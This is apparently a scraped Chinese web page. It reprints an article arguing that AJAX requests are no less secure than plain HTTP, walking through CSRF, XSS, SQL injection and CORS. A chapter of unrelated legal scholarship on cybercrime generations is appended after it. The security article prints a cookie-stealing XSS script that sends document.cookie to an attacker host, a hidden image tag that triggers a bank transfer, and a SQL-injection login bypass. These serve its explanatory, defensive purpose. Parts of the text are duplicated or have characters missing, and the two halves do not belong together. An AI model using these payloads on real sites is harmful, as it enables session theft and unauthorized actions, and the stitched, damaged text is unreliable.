整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          AJAX請求真的不安全么?

          AJAX請求真的不安全么?

          者:撒網要見魚

          來源: cnblogs.com/dailc/p/8191150.html

          開篇三問

          1. AJAX請求真的不安全么?
          2. AJAX請求哪里不安全?
          3. 怎么樣讓AJAX請求更安全?


          前言

          本文包含的內容較多,包括AJAX,CORS,XSS,CSRF等內容,要完整的看完并理解需要付出一定的時間。


          另外,見解有限,如有描述不當之處,請幫忙及時指出。


          正文開始...

          從入坑前端開始,一直到現在,AJAX請求都是以極高的頻率重復出現,也解決過不少AJAX中遇到的問題,如跨域調試,錯誤調試等等。


          從這種,發現了一個共通現象:那就是每次和后臺人員對接時,他們都會提到AJAX請求不安全,請用普通http請求!


          雖然很多時候,都是經過多翻口舌之爭后,最終后臺那邊妥協,允許部分符合條件的AJAX請求。但是,我卻很糾結一個問題:AJAX請求真的不安全么?為什么我自己寫后臺時并沒有發現這個問題?


          于是,開始準備搜集資料,結合自己已有的認知,整理成一份解決方案,分析AJAX請求真的不安全么?哪里不安全?,后續遇到類似的問題就直接向對方拋出一篇文章


          大綱

          • AJAX請求真的不安全么
            • AJAX不安全的說法從何而來
          • 常見的幾種Web前端安全問題
            • CSRF簡介
            • CSRF與AJAX的關系
            • XSS簡介
            • XSS與AJAX的關系
            • SQL注入簡介
            • SQL注入與AJAX的關系
          • AJAX和HTTP請求的區別
          • CORS與AJAX安全性之間的關聯
            • CORS與AJAX關系的簡介
            • 為什么要配置CORS?
            • CORS會配置些什么信息?
            • CORS Origin: *的安全性
          • 再看,AJAX請求真的不安全么?
          • AJAX請求哪里不安全?
          • 怎么樣讓AJAX請求更安全?


          AJAX請求真的不安全么

          首先,先說一個定論:AJAX請求是否安全,由服務端(后臺)決定


          有這樣一個說法:如果某個Web應用具備良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果應用本身存在漏洞,不管用何種技術請求,它都是不安全的

          為何會有這種說法?因為在Web應用中,客戶端輸入不可信是一個基本原則


          AJAX不安全的說法從何而來?

          在AJAX出現時,那時的服務端還是很古老的那一批,因此完全沒有考慮到AJAX出現后,前端請求方式會變得異常復雜,造成以前的安全策略已經無法滿足要求了,導致大批的后臺安全漏洞曝光。。。


          很顯然,都是因為AJAX出現后曝光了更多的安全漏洞,導致它看起來很危險(因為AJAX出現后,請求方式變多了,以前的架構在新的請求中就可能出現更多漏洞)


          So,AJAX不安全的說法自然擴散到了各個角落。


          常見的幾種Web前端安全問題

          要知道AJAX請求是否安全,那么就得先知道Web前端中到底有那幾種安全問題

          采用cookie來進行用戶校驗登錄受信任網站A,并在本地生成Cookie在不登出A的情況下,訪問危險網站B
          
          

          如上,Web前端中的安全問題主要就是這幾大類(僅列舉部分做分析),所以我們首先要分析AJAX與這幾大類之間的關系。( XSS CSRF,在下文也會做簡單介紹。)


          CSRF簡介

          CSRF,特征很簡單:冒用用戶身份,進行惡意操作



          時至今日,這項安全漏洞已經被人們剖析的很透徹了,隨便Google,百度之,都會找到很多的解釋。這里也用一張圖來先做簡單描述:


          (注,下面介紹參考了來源文章中的描述,譬如圖就是參考了來源中的博文后重繪的)

          所以,我們看到關鍵條件是:

          采用cookie來進行用戶校驗登錄受信任網站A,并在本地生成Cookie在不登出A的情況下,訪問危險網站B
          
          

          一般在 (4) 處 惡意網站(B) 的攻擊手段如下(必須是指向 A 的地址,否則無法帶上cookie):


          而且,從頭到尾,攻擊網站都沒有獲取到過 cookie,都是通過瀏覽器間接實現(利用Web的cookie隱式身份驗證機制),所以HttpOnly并不會影響這個攻擊

          最后說下,幾種常見的CSRF防御手段:

          1. 驗證HTTP Referer字段(非常簡單,但是鑒于客戶端并不可信任,所以并不是很安全)

          防止CSRF,檢查Referer字段簡單直接,但是其完全依賴瀏覽器發送正確的Referer字段。

          雖然http協議對此字段的內容有明確的規定,但并無法保證來訪的瀏覽器的具體實現,

          亦無法保證瀏覽器沒有安全漏洞影響到此字段。并且也存在攻擊者攻擊某些瀏覽器,篡改其Referer字段的可能。


          2. 在請求地址中添加token并驗證

          (譬如post中,以參數的形式加入一個隨機產生的token)


          CSRF與AJAX的關系

          上文中,我們看到CSRF的前提是cookie驗證用戶身份,那么它與AJAX的關系大么?

          我們先分析AJAX中帶cookie驗證的情況:

          1. AJAX受到瀏覽器的同源策略限制

          2. AJAX默認無法請求跨域的接口

          (當然后臺可以配置`Access-Control-Allow-Origin: *`之類的允許所有的跨域請求)

          3. AJAX請求無法攜帶跨域cookie

          (如果強行開啟withCredentials,必須服務端配合認證,無法用作攻擊)


          嗯哼...看到這,基本就可以認為CSRF與AJAX請求無緣了。。。


          譬如假設上圖中第4部分的請求由AJAX發起,假設網站A已經允許了Access-Control-Allow-Origin: *,由于網站B與網站A是不同域名,所以存在跨域,根據同源策略,請求時根本就無法攜帶cookie,故而無法通過身份認證,攻擊失敗。。。


          就算強行開啟withCredentials,攜帶跨域cookie,但是由于服務端并不會單獨配置網站B的跨域cookie(需配置Access-Control-Allow-Credentials: true,而且這時候不允許設置Allow-Origin: *),所以肯定認證失敗


          可以看到,就算Access-Control-Allow-Origin: *允許所有來源的AJAX請求,跨域的cookie默認情況下仍然是無法攜帶的,無法CSRF


          所以說,結論是:CSRF 與 AJAX 無關


          XSS簡介

          既然CSRF與AJAX關系不大,那么XSS應該會與AJAX有很大關系吧?(要不然為什么一直說AJAX請求不安全,對吧。)。那么請繼續看下去(本文中只限JS范疇)


          XSS(cross-site scripting),看起來簡寫應該是css更合適。。。但是為了和層疊式樣式表區分,就用XSS簡寫表示


          XSS的特征也可以概括為:跨域腳本注入,攻擊者通過某種方式將惡意代碼注入到網頁上,然后其他用戶觀看到被注入的頁面內容后會受到特定攻擊


          相比CSRF,XSS囊括的內容更多,而且往往是多種攻擊形式組合而成,這里以前文中介紹的幾種為例:

          1. cookie劫持

          同樣,頁面中有一個評論輸入,輸入后會,因為后臺的漏洞,沒有過濾特殊字符,會直接明文保存到數據庫中,然后展示到網頁時直接展示明文數據,那么如下

          <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
          <form action="saveComment.jsp" method="post"> 
           請輸入評論內容:<BR> 
           <input name="content" type="text"> 
           <input type="submit" value="確認">
          </form> 
          

          然后攻擊者分析后,輸入

          <script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>
          

          保存文章。很簡單的代碼,由于沒有過濾腳本,那么其它用戶登陸后,在看到這篇文章時就會自動將他們的cookie信息都發送到了攻擊者的服務器。

          攻擊者可以在cookie(譬如jsessionid對應的session)有效期內拿它們冒充用戶操作。


          需要注意,這里和CSRF的區別是,這里是拿到了cookie后主動冒充用戶的,而CSRF中根本就不知cookie,僅利用瀏覽器的隱式校驗方式冒充用戶。


          2. 會話偽造

          同樣是評論漏洞的示例。

          攻擊者輸入(舉例比喻)

          <img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
          

          然后,接下來發生的故事就和CSRF中提到的一致。這種情況就是基于XSS而開展的CSRF,也有人喜歡稱之為XSRF


          需要注意,這里并沒有自己拿到cookie,而是CSRF中提到的利用瀏覽器的隱式驗證機制來冒充用戶。


          3. 其它惡意代碼執行

          其實上面的cookie劫持以及會話偽造都算是惡意代碼執行,為了區別,這里就專指前端的流氓JS。


          譬如前面的評論中的輸入可以是:

          • 譬如市面上盛行的網頁游戲彈窗等。
          • 譬如干脆直接讓這個頁面卡死都可以。
          • 譬如無限循環。


          這里再提一點,上述都是從前端輸入作為入口的,但實際上有一類的輸入也不可忽視,那就是:富文本攻擊


          它的特點就是: 富文本中注入了腳本,并且前后端未進行過濾,導致直接輸出到了頁面中


          因為存在很多頁面,都是將富文本內容展示到網頁上的,沒有進行過濾(哪怕時至今日,仍然有不少頁面),這樣只要富文本中有注入腳本,基本就中招了。。。


          結論:

          只要最終能向頁面輸出可執行的腳本語句,那么就是有漏洞,XSS攻擊都有可能發生。


          而且,基本上xss漏洞是很廣泛的,雖然攻擊類型很被動,也需要大量時間分析,但勝在大量的網站上都存在(特別是那種長期不更新的)


          再提一點。上述的介紹更多的是從造成的后果來看,但其實如果從攻擊手動來看的話可以分為幾大類型:反射型XSS攻擊(直接通過URL注入,而且很多瀏覽器都自帶防御),存儲型XSS攻擊(存儲到DB后讀取時注入),還有一個DOM-Based型


          上述示例中都是存儲型,具體更多內容網上已經有很詳細的資料,這里不再繼續深入,放一張圖鞏固下。

          如何預防XSS:

          • 輸入過濾,不信任用戶的任何輸入,過濾其中的“<”、“>”、“/”等可能導致腳本注入的特殊字符,或者過濾“script”、“javascript”等腳本關鍵字,或者對輸入數據的長度進行限制等等,還得考慮攻擊者使用十六進制編碼來輸入腳本的方式。
          • 輸出進行編碼,和輸入過濾類似,不過是從輸出上著手,數據輸出到頁面時,經過HtmlEncoder等工具編碼,這樣就不會存在直接輸出可執行的腳本了
          • cookie設置http-only,這樣用腳本就無法獲取cookie了(這樣只有瀏覽器向Web服務器發起請求的時才會帶上cookie字段,避免了XSS攻擊利用JavaScript的document.cookie獲取cookie)
          • Cookie防盜,盡可能地避免在Cookie中泄露隱私,如用戶名、密碼等;
            或者,為了防止重放攻擊,可以將Cookie和IP進行綁定,這樣也可以阻止攻擊者冒充正常用戶的身份。
          • 注意,特別是后臺,一定不能信任前端的輸入,需要過濾與校驗


          XSS與AJAX的關系

          以上分析了XSS造成一些影響與問題,仍然發現:與AJAX關系不大,因為這些問題不管用不用AJAX都會發生。


          看看這種情況,譬如上述的富文本注入中:

          1. 某個接口采用AJAX交互

          2. AJAX請求完后將對應富文本字段顯示到了頁面上-譬如innerHTML


          但是,這真的與AJAX無關,這是前后端沒有進行輸入輸出過濾而造成的后果。


          所以,還是那句話:如果某個Web應用具備良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果應用本身存在漏洞,不管用何種技術請求,它都是不安全的


          SQL注入簡介

          sql注入展開將也是一門很大的學問,很早以前更是大行其道(當然,現在...),這里僅僅舉幾個最極端的示例。


          前提是后臺沒有過濾前端的輸入數據,否則根本無法生效


          假設頁面A中有一個登陸查詢存在拙劣的sql注入漏洞,這樣子的:(最極端,最傻的情況)

          <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
          <form action="login.jsp" method="post"> 
           請輸入用戶名與密碼:<BR> 
           <input name="name" type="text"> 
           <input name="password" type="text"> 
           <input type="submit" value="登陸">
          </form> 
          

          在接收到登陸請求后,服務端的實際執行代碼時是:

          String sql="SELECT * FROM users WHERE name='" + name + "' AND password='" + password + "'";
          

          然而有攻擊者分析出后臺可能存在漏洞,嘗試sql注入攻擊,輸入

          name=' or 1=1
          password=anything
          那么這樣,后臺接收到數據后,實際上查詢的結果是SELECT * FROM users WHERE name=' ' or 1=1 AND password='anything' 
          故而,攻擊者成功的繞過的用戶名,利用后臺漏洞登陸了。
          

          當然了,像這類這么低級的漏洞,現象幾乎已經不存在了,往往這類型漏洞需要仔細分析,耗時。(又或者是有內奸。。。)


          SQL注入與AJAX的關系

          額,從上述的示例中看不出和AJAX有什么關系。但是我們可以這樣假設:

          1. 有一個接口,接收AJAX post的數據

          2. 數據中有一個字段 'name',后臺接收到后沒有進行過濾,直接如上面的演示一樣,執行sql語句了

          3. 所以AJAX中如果給那個字段傳入非法的注入信息,就會觸發這個漏洞,導致攻擊生效


          對,就是這樣極端的情況下才會發生,而且與AJAX并沒有關系,因為換成任何一種其它請求都會有類似的情況。。。


          所以說,結論是:SQL注入與AJAX無關


          AJAX和HTTP請求的區別

          從本質上將:AJAX就是瀏覽器發出的HTTP請求,只不過是瀏覽器加上了一個同源策略限制而已。


          AJAX請求的XMLHTTPRequest對象就是瀏覽器開放給JS調用HTTP請求用的。


          那么AJAX和HTTP的區別呢?列出以下幾點:

          • AJAX請求受到瀏覽器的同源策略限制,存在跨域問題
          • AJAX在進行復雜請求時,瀏覽器會預先發出OPTIONS預檢(HTTP自己是不會預檢的)
          • 從使用角度上說,AJAX使用簡單一點,少了些底層細節,多了些瀏覽器特性(如自動帶上同域cookie等)
          • 所以說,和認證上的HTTP請求的區別就是-多了一次瀏覽器的封裝而已(瀏覽器會有自己的預處理,加上特定限制)


          但是,從最終發出的報文來看,內容都是一樣的(HTTP協議規范的內容),AJAX是發送HTTP請求的一種方式


          所以從這一點可以得出一個結論:AJAX本質上安全性和HTTP請求一樣

          CORS與AJAX安全性之間的關聯

          按照前文中提到的內容,基本無法得出AJAX與請求不安全的關聯。那么接下來,再繼續分析,如果使用了跨域資源共享(CORS)后的安全性。

          (因為往往ajax都會伴隨著CORS)


          CORS與AJAX關系的簡介

          這是一個跨域共享方案,大致流程就是:(僅以復雜請求的預檢舉例-這一部分要求提前掌握CORS相關知識)

          1. 前端AJAX請求前發出一個OPTIONS預檢,會帶一堆相關頭部發送給服務端

          2. 服務端在接受到預檢時,檢查頭部,來源等信息是否合法,合法則接下來允許正常的請求,否則直接無情的拒絕掉

          3. 瀏覽器端如果收到服務端拒絕的信息(響應頭部檢查),就拋出對應錯誤。否則就是正常的響應,接下來發出真正的請求(如POST)


          請求和響應的頭部信息大概如下:

          Request Headers

          // 在CORS中專門作為Origin信息供后端比對,表示來源域。
          Origin: http://xxx
          Access-Control-Request-Headers: X-Requested-With
          // 所有用setRequestHeader方法設置的頭部都將會以逗號隔開的形式包含在這個頭中,一般POST請求中就會帶上
          Access-Control-Request-Method: OPTIONS
          

          Response Headers

          Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
          Access-Control-Allow-Methods: GET, POST, OPTIONS
          Access-Control-Allow-Origin: http://xxx
          

          最終,客戶端發出的請求,必須符合服務端的校驗規則才能正確,服務端才會返回正確頭部,否則只會請求失敗。報跨域錯誤。


          以上僅是簡介,更多信息可以參考來源中的ajax跨域,這應該是最全的解決方案了


          為什么要配置CORS?

          因為同源策略限制,AJAX無法請求跨域資源,CORS可以解決AJAX跨域請求問題。


          因此:在本文中,配置CORS只是為了AJAX能跨域請求


          CORS會配置些什么信息?

          Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
          Access-Control-Allow-Methods: GET, POST, OPTIONS
          Access-Control-Allow-Origin: http://xxx
          

          如上,加上這個配置后,必須符合要求的才算是正常的請求,否則就會拒絕掉,一般AJAX跨域的話都會有OPTIONS,所以在預檢中就做了這一步。


          可以看到,關鍵的可變信息是:Access-Control-Allow-Origin: http://xxx

          這個配置就是域名白名單,規定在什么樣的域名下才能進行AJAX跨域請求。


          CORS Origin: *的安全性

          關鍵問題來了,在上面的CORS配置是這樣的:

          Access-Control-Allow-Origin: http://xxx
          

          但是這個配置只允許特定域名訪問,鑒于前端的復雜性,有時候調試起來不是很方便,因此有時候,會偷懶的設置為:

          Access-Control-Allow-Origin: *
          

          這個代表所有來源的跨域AJAX請求都能正常響應。

          接下來我們再來分析設置 Origin: * 可能帶來哪些問題。(都是基于AJAX的情況)


          問題1:會對cookie認證造成影響么?

          不會。雖然 * 代表了所有來源都能正常請求,但是同源策略下,是無法帶上跨域cookie的。因此根本無法用身份驗證。


          而且,就算用 withCredentials 強行帶上跨域cookie,因為后臺沒有支持,所以會報錯。(這可以看成是CORSs模型的最后一道防線)


          再者,后臺就算配置 Access-Control-Allow-Credentials 允許跨域cookie,但是這時候的安全策略是 Origin 不允許為,必須是一個明確的地址。

          (否則你就可以看到瀏覽器的報錯信息-跨域cookie時,Origin不允許為)


          問題2:如果偽造Origin頭部呢?

          首先,標準的瀏覽器中是不允許你偽造的(除非有嚴重漏洞),所以一般需要通過模擬客戶端請求偽造。


          但是。在非瀏覽器情況下,本來就沒有同源策略。這又是何必。。。


          所以說,偽造Origin與CORS并沒有關系。


          問題3:如果后臺本來就存在漏洞呢?

          做這樣一個假設,假設用戶所在網絡的內網中有一臺內網服務器,并且配置了允許所有的跨域請求:(當然,外網是請求不到內網的)

          // 允許任何來自任意域的跨域請求
          Access-Control-Allow-Origin: *
          

          再假設內網服務器上恰巧存在敏感資源,并且沒有額外設防,只要內網就能訪問。譬如:

          192.168.111.23/users.md
          


          然后用戶訪問了惡意網頁,而像HTML之類的網頁都是下載到本地執行的,

          正好網頁內有惡意代碼,去向 192.168.111.23/users.md 請求資源,再將接收到的服務端返回發送到攻擊者服務器。

          (因為加了Origin為*,而且AJAX是由本地瀏覽器發出的,所以用戶下載到本地的惡意網站是可以訪問到用戶內網中的后臺的)


          然后這些敏感數據就這樣被盜取了。


          But,這是因為服務端漏洞而存在的問題,設置Origin為的后臺上為何要放置敏感資源?正常設置為Origin為的最大作用是用作公共API。


          而且更重要的是,為何敏感資源就這樣輕易的被獲取了?為什么沒有二次驗證?


          SO,后臺本身有漏洞,所以才導致被攻擊,AJAX恰好是攻擊的手段之一(除了AJAX外還會有其它的方式),所以很多鍋都甩到了AJAX頭上。


          這樣,可以得出一個保守點的結論:

          Origin如果不是*,AJAX請求并不會有安全問題,如果是*,可能會由于后臺的漏洞,不經意間,AJAX就被作為一種攻擊手段了,導致了出現AJAX不安全的說法


          再看,AJAX請求真的不安全么?

          仍然是最初的結論:

          如果某個Web應用具備良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果應用本身存在漏洞,不管用何種技術請求,它都是不安全的



          我們可以看到,XSS也好,CSRF也好,以及其它隱藏的可能漏洞也好,本質上都是后臺已有漏洞造成的問題,AJAX最多是被用作一種攻擊手段(甚至某些里面AJAX還無法使用)


          提到AJAX請求不安全的,譬如有CORS里面配置Origin: *造成某些極端情況下能通過AJAX發出攻擊。但事實上這也是其中的一種攻擊手段而已,沒有AJAX,該不安全的仍然不安全。


          譬如還有的說法是:因為在AJAX出現以前,如果出現安全漏洞,容易被察覺,但AJAX是異步的,更容易隱式的出現安全問題。。。這也與安全性的本質無關。


          最重要一點,從Web應用安全角度來談,Web應用必須從不信任客戶端。所以不要再把鍋甩給AJAX。


          AJAX請求哪里不安全?

          同上,AJAX本身并不存在這種安全問題。

          不過有一點需注意,如果使用了CORS方案。

          1. Allow-Origin可以設置特定的值,過濾特定的白名單

          2. 對于一些公共的API,可以直接將Allow-Origin設置為`*`

          3. 當然,如果確認后臺沒有這些隱藏漏洞,可以直接使用`*`,畢竟也只是針對瀏覽器的同源策略而已,影響沒有那么大。


          怎么樣讓AJAX請求更安全?

          仍然是文中反復提到的結論:

          讓Web后臺更安全,則AJAX請求也更安全,反之后臺有漏洞,不管怎么樣都是不安全的



          寫在最后的話

          這樣的話,應該可以把AJAX不安全的鍋甩掉了吧?

          第三章法教義學上的網絡犯罪的理論初建

          第三章 法教義學上的網絡犯罪的理論初建

          犯罪是刑法典與刑法學、犯罪學、刑事政策學的核心概念之一。互聯網技術與社會科學的交叉研究中,“網絡—學術用語”往往用來表示某一特定的正在被討論的現代性主題。在傳統的“犯罪”這一術語前插入“網絡”就形成了一個新的法律概念——網絡犯罪。一方面,網絡犯罪作為一種有害行為,與交通犯罪、毒品犯罪、青少年犯罪、老年人犯罪等一樣,是一個實證性、對策性的犯罪學或者刑事政策學概念。另一方面,網絡犯罪概念的刑法學化是網絡犯罪法教義學理論體系化的出發點。

          一、網絡犯罪的代際特征與刑事政策

          犯罪是一種社會現象。“不同的社會中犯罪行為的流行形式也是不同的;不同社會的犯罪控制機構也有明顯的不同。”[1]當下社會是科技時代,互聯網成為生活的主要方式,甚至等同于生活本身。網絡改變了生活,也改變了犯罪行為的形式。隨著網絡科技從web1.0到web2.0,再到web3.0的發展變化[2],網絡犯罪相應經歷了不同代際的迭代升級。網絡時代犯罪行為的形式區別于傳統社會犯罪形式,其對刑法適用提出諸多新的挑戰。為此,應將網絡犯罪根植于網絡科技的代際變化之中,總結出各代際網絡犯罪的特點及變化,推動刑法理論因應“科技時代傳統刑法理論與新問題之間的關系”問題[3],促進網絡犯罪研究的縱深化發展。

          (一)Web1.0/2.0時代網絡犯罪的代際特征:物理性

          如同計算機犯罪的概念是伴隨著計算機的出現而出現,網絡犯罪的概念也是伴隨著網絡的出現而出現的。1969年10月,美國“因特網之父”萊昂納德·克萊因羅克(Leonard Kleinrock)首次把加利福尼亞大學洛杉磯分校的一臺電腦和一家研究機構的一臺電腦連接起來,并讓它們“交談”,成為互聯網的雛形。1983年TCP/IP協議成為全球互聯網的標準協議時,計算機之間的連接(也即終端連接)才通行世界,全球性的終端連接真正開始。[4]1991年,我國建成第一條與國際互聯網連接的專線。1994年,我國實現與國際互聯網的全功能連接,開啟了真正意義上的中國互聯網時代。在國際與中國互聯網發展的三十年左右的時間里,瑞達網絡公司的創始人諾瓦·斯皮瓦克(Nova Spivack)以10年為一個周期,將網絡發展的第一個十年(1990—2000)作為“信息單向發布的web1.0時代”,將第二個十年(2000—2010)視為“互動參與的web2.0時代”[5]。與之相適應,這兩個時代的網絡犯罪也呈現出相應的代際特征,而它們共有的代際特征是:物理性。

          其一,web1.0時代網絡犯罪的代際特征是物理性,具體是犯罪對象與犯罪方法上的物理性。在web1.0時代,人與網絡的關系是單向傳播的,即網站編輯信息發布給網民,網民只是單純地被動接受網站發布的信息,和網站沒有任何互動。網站就好比公告牌,只不過它是數據海量的電子公告牌,而且數據會不斷提供更新。[6]網民與網絡之間的關系類似于讀報:網民是讀者、接受者,電腦屏幕是“報紙”,上網不過是傳統生活的網絡延伸。在web1.0時代,網絡是一種新事物,各大門戶網站備受歡迎,新浪、搜狐、網易、騰訊等適時興起,IE瀏覽器也是瀏覽網頁的主要工具。網絡以計算機為媒介,充當著“報紙”的作用,決定了此一階段的網絡犯罪只能是以網絡或計算機為損壞對象,犯罪方法也呈現物理性特征。在web1.0時代常見的物理性破壞是針對計算機的安全系統。計算機系統包括各個系統運轉的電網,還包括防火墻以及計算機內部內容。通過防火墻連接外面的世界就要借助基于TCP/IP協議開發出來的因特(Inter),但是因特需要通過局域網系統往外突破。若要獲得計算機內部的資料、重要機密文件等內容,則需打開數據庫。為了用戶信息安全和計算機自身安全,就必須設置防火墻。防火墻是在“內部網與外部網之間實施安全防范”的系統,能夠加強網絡間訪問控制,阻止未授權的外部網信息傳輸,保護內部網的安全,免受非法用戶侵入。[7]而防火墻的防范并非萬無一失,總有系統漏洞存在并被計算機犯罪高手運用。系統安全漏洞,也叫系統脆弱性,廣義而言是導致損害、威脅計算機信息系統的因素。它是計算機系統在硬件、軟件、協議的設計與實現過程中或系統安全策略上存在的缺陷和不足。非法用戶可利用系統安全漏洞獲得計算機系統的額外權限,在未經授權的情況下訪問或提高其訪問權,破壞系統,危害計算機系統安全。[8]因此,這一階段網絡犯罪的刑法適用主要涉及兩個罪名,即《刑法》第285條規定的非法侵入計算機信息系統罪和第286條規定的破壞計算機信息系統罪。總之,在web1.0時代網絡犯罪具有一些明顯的犯罪特點:對象固化為物理性的介質即計算機和信息系統。此時的網絡犯罪行為跟網絡無關而是和計算機有關。犯罪方法主要為物理性方法,即強行地破壞信息系統或稱之為強行攻陷,而非篡改軟件數據。因此,這一階段的網絡犯罪在技術偵查與取證方面相對較為容易,案件定性也比較簡單。然而,與此同時,立法滯后所導致的傳統計算機犯罪罪名及處罰漏洞日益明顯,口袋罪成為這個時代計算機犯罪適用的趨勢。

          其二,在web2.0時代網絡犯罪的代際特征也是物理性,具體是犯罪工具上的物理性。在web2.0時代,人與網絡的關系類似于開會,網民與網民、網站和網站之間可進行雙向交流互動。[9]網絡不再是簡單的信息發布者,而是社交平臺,人人網、維基網、天涯社區、博客、百合網等成為人與人之間溝通的重要平臺,“就連一些垂直平臺也融入了社交功能,淘寶的阿里旺旺就是一個很好的例證”[10]。網民不再是單純從網絡接收信息,而是網絡進行互動,最終達到人與人之間的互動。所以在web2.0時代以往人和機器之間互動的基礎上,發展出了人和人之間的具有即時性、便捷性的雙向互動,類似于不同人在一個會場開會。人們上網,不再是簡單地將傳統生活延伸到網絡,而是通過時時互動和交流,使傳統生活在網絡上發展為新的形態,如天涯社區、QQ的個人空間等成為網民保留自己隱私的重要方式,從而取代傳統社會保留隱私的方法。與web2.0時代相適應,此一階段的網絡犯罪呈現出傳統犯罪的網絡異化。于是立法上“重點增加利用網絡作為犯罪工具的規定,加強網絡作為犯罪對象的規定,逐步摒棄計算機犯罪的陳舊立法觀念,逐步推動網絡立法理念的代際變革”[11]。網絡由此成為傳統犯罪物理性的犯罪工具或者說媒介。也因此,web2.0時代網絡犯罪的代際特征也為物理性,只不過是以網絡作為犯罪工具意義上的物理性。在web2.0時代的早期階段“在即時通信和社區網絡服務系統中還沒有合適的方式或方法能夠用來在好友或組/成員間共享計算機或其他智能設備的CPU、內存、磁盤、應用軟件及其他資源或能力”[12],用戶更傾向于利用計算機現有資源或能力,在一定程度上缺少“他有我無”的這種共享機制。因此,在這一階段,計算機系統仍然受到網絡攻擊的威脅,并且威脅網絡安全的原因來自多方面。計算機系統可能會受到非法入侵者的攻擊,各類數據可能遭到泄露或者進行非法交易,“從內部網向共網傳送的信息可能被他人竊聽或篡改”等。[13]不同于在web1.0時代由各門戶網站平臺主導內容生成,在web2.0時代出現由用戶主導內容生成的互聯網產品模式,而這一模式主要是采用了AJAX應用技術,“借助AJAX可以將笨拙的Web界面轉化成強交互性的AJAX應用程序”[14]。傳統的網絡應用采用同步交互過程:用戶向HTTP服務器發出請求,服務器接收請求后向用戶返回一個HTML頁面。[15]在這個過程中,用戶等待時間較長,交互體驗比較不理想。相比較而言,在web2.0時代,強調服務器與客戶端的交互過程,服務器能夠較為迅速地響應用戶需求,并減少等待時間,糟糕的用戶體驗得到較大改變。此外,二者的核心區別在于從“外部應用”到“核心內容”的變化,用戶從簡單地瀏覽、搜索獲取信息發展成網絡平臺的交互行為,網絡內容的建立者也由計算機專業人員轉向全部用戶。[16]Web2.0時代的網絡平臺特征,決定了這一時期的網絡犯罪基本上都是利用web2.0時代交互的及時性,使用網絡平臺作為犯罪工具的。此一時期各類利用網絡作為物理性工具的犯罪飛速增加。[17]

          其三,隨著web2.0時代的快速發展,刑法中幾乎所有的犯罪都出現了網絡化,幾乎所有的傳統犯罪都可以利用網絡實施,網絡作為犯罪工具的物理屬性被放大到極致。顏某凡盜竊案是web2.0時代利用網絡作為犯罪工具的常見類型。[18]該案被告人利用網絡公司的系統漏洞騙取被害人網絡游戲賬號安全碼,非法進入被害人賬號,竊取被害人在網絡游戲中的虛擬裝備并出售給他人獲利。在同一時期,類似案件大量發生。在這些案件中,作為web1.0時代網絡犯罪主要特征的對象物理性退居其后,行為人犯罪的對象是游戲裝備等虛擬財產,而不再是物理性的計算機及信息系統。作為物理性的客體而存在的計算機及信息系統仍然完好,被侵犯的只是虛擬性的財產。但是,行為人的作案工具卻是真實存在的物理性網絡,借助網絡系統,行為人才得以登錄他人賬號并實施犯罪。在此,行為人實施的是傳統盜竊犯罪,只不過利用了網絡作為犯罪工具。這充分體現了web2.0時代的網絡犯罪以網絡作為犯罪工具的物理性代際特征。在整個web2.0時代,網絡犯罪主要是以網絡作為犯罪工具來實施傳統犯罪。傳統殺人、搶劫、綁架、盜竊、詐騙等犯罪經歷了網絡異化,侵財犯罪爆發性增長,幫助犯地位凸顯。與之相適應,2000年12月28日全國人大常委會通過《關于維護互聯網安全的決定》,對這一時期將網絡作為犯罪工具而實施犯罪的問題作了解釋,從而使利用網絡實施傳統犯罪如何適用刑法問題得到了解決。在web2.0時代網絡之所以成為實施傳統犯罪的工具,出現傳統犯罪的網絡異化與大爆發,是因為“web2.0時代要求為用戶提供的服務具備體驗性(Experience)、溝通性(Communicate)、差異性(Variation)、創造性(Creativity)和關聯性(Re-lation)”[19],而社交媒體的爆發和人們通過網絡實現的人和人之間的時時互動,使利用網絡實施犯罪極為便捷。

          總之,web1.0時代的網絡犯罪是以計算機及其系統為物理性對象采物理性方法而實施;web2.0時代的網絡犯罪是以網絡作為物理性犯罪工具,并出現以侵財案件為主的傳統犯罪的網絡異化。無論是物理性對象還是物理性工具,web1.0與web2.0時代的網絡犯罪的共有特性都是物理性。該階段的網絡安全治理,主要針對的是計算機及其系統的安全保護。

          (二)Web3.0時代網絡犯罪的代際特征:智能性

          Web3.0是在web2.0的基礎上發展起來的,它能夠滿足網民對生命深度體驗的心理需求,更好地體現網民的勞動價值,并且能夠實現價值均衡分配。[20]倫斯勒理工學院副教授吉姆·亨德勒(Jim Hendler)將2008年確定為web3.0時代的開端。[21]同時,斯皮瓦克認為,web3.0是“網絡發展的第三個10年,即2010年至2020年”,它“就是將統計學、語言學、開放數據、計算機智能、集體智慧和用戶在網上生成的內容全部集合到一起”[22]。當我們有了移動終端的時候,就全面步入了萬物互聯時代,也就是web3.0時代。目前,中國的手機網民規模達8.97億,網民中使用手機上網的比例由2018年年底的98.6%提升至2020年3月的99.3%,手機上網已成為網民最常用的上網渠道之一。[23]這意味著,web3.0時代是全方位互動的時代。web3.0時代的特征是個性化、互動性和精準的應用服務。用戶的應用體驗與分享,對于網站流量和產品營銷具有決定性作用。[24]網民和網絡之間在衣食住行等各個層面全方位緊密結合,以個人終端(手機)為中心點,由此出發,與整個網絡世界進行信息互動。網絡對用戶了如指掌,替用戶進行資源篩選、智能匹配,直接給用戶答案。在web3.0時代上網既不是web1.0時代時傳統生活在網絡的簡單延伸,也不是web2.0時代時傳統生活在網上的異化,而是在傳統物理的社會空間之外,多出一個網絡的社會空間,人們在網絡空間中全方位量身定制想要的生活:web1.0時代的“讀報紙”到web2.0時代的“開會”,終于發展到了web3.0時代的“私人定制”。在這個時代,不再是人找信息而是信息找人。[25]智能性成為這個時代的典型特性。

